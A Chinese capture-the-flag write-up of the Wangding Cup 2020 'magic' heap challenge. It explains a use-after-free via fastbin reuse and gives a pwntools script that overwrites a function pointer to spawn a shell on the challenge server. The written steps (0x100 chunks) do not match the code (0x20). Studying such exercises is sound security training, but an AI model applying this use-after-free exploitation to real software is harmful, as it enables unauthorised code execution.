经典的菜单题,存在UAF漏洞
题目逻辑:
wdb网鼎杯_2020_pwn_magic
1是创建多大空间 并保存你输入的字符串
2根据索引释放空间
3 根据索引打印对应的字符串 解题思路:
在忘记魔法的函数里,释放空间是根据给定的索引来释放对应的空间。但是删除的时只free,而没有设置为 NULL,这里是存在 Use After Free 的情况的。
wdb网鼎杯_2020_pwn_magic
同时还提供了这个函数:
wdb网鼎杯_2020_pwn_magic
可以修改的输入字段为 magic 函数的地址,从而实现在执行“使用魔法”即调用输入的字符串的时候执行 magic 函数。
也可以自己构造一个system(/bin/sh),我这里采用的是后者。 我们通过写name的时候,覆盖magic:
原理: 对于大小为(16 Bytes~ 64 Bytes)的堆块来说则是使用fastbin,在fastbin中,是由单项链表连接起来的,每个chunk的pre_chunk指向之前回收的chunk,即回收的chunk出于链表头部,此时分配时也会从头部分配。 这里的magic分配空间为0x10,显然是一个 fastbin chunk(大小为 16 字节)。 我们通过连续申请空间,形成一个链表,释放链表头的空间后,再次申请内存会从头部分配。 即我们最后申请magic2的而空间保存到chunk0中,由于没有将释放的指针置空,我们再次调用第0个magic,就会将最后magic2填入的name给执行了。
步骤: 学习魔法,申请空间0,0x100,大小要不同于0x10 maigc的大小 学习魔法,申请空间1,0x100 忘记魔法,释放空间0 忘记魔法,释放空间1 学习魔法,申请空间2,大小为 0x10,和magic申请的一样大,那么根据堆的分配规则 空间2 其实会分配空间1 对应的内存块,这时name对应的是magic 0地址。 如果我们这时候向magic 2 的name写入 需要执行的地址(system啥的),那么由于没有置magic 0为NULL。当我们再次尝试输出magic 0 的时候,程序就会调用magic2处的代码。 代码: from pwn import *
context.log_level="debug"
r = remote('xuenixiang.cn',22295)
#r = process('./magic')
def learn(size, content):
r.recvuntil("choice :")
r.sendline('1')
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def forget(index):
r.recvuntil("choice :")
r.sendline('2')
r.recvuntil("index :")
r.sendline(str(index))
def use(index):
r.recvuntil("choice :")
r.sendline('3')
r.recvuntil("index :")
r.sendline(str(index))
system = 0x400A0D
learn(0x20, 'a')
learn(0x20, 'b')
forget(0)
forget(1)
payload = p64(0) + p64(system)
learn(0x10, payload)
use(0)
r.interactive()
wdb网鼎杯_2020_pwn_magic
wdb网鼎杯_2020_pwn_magic
|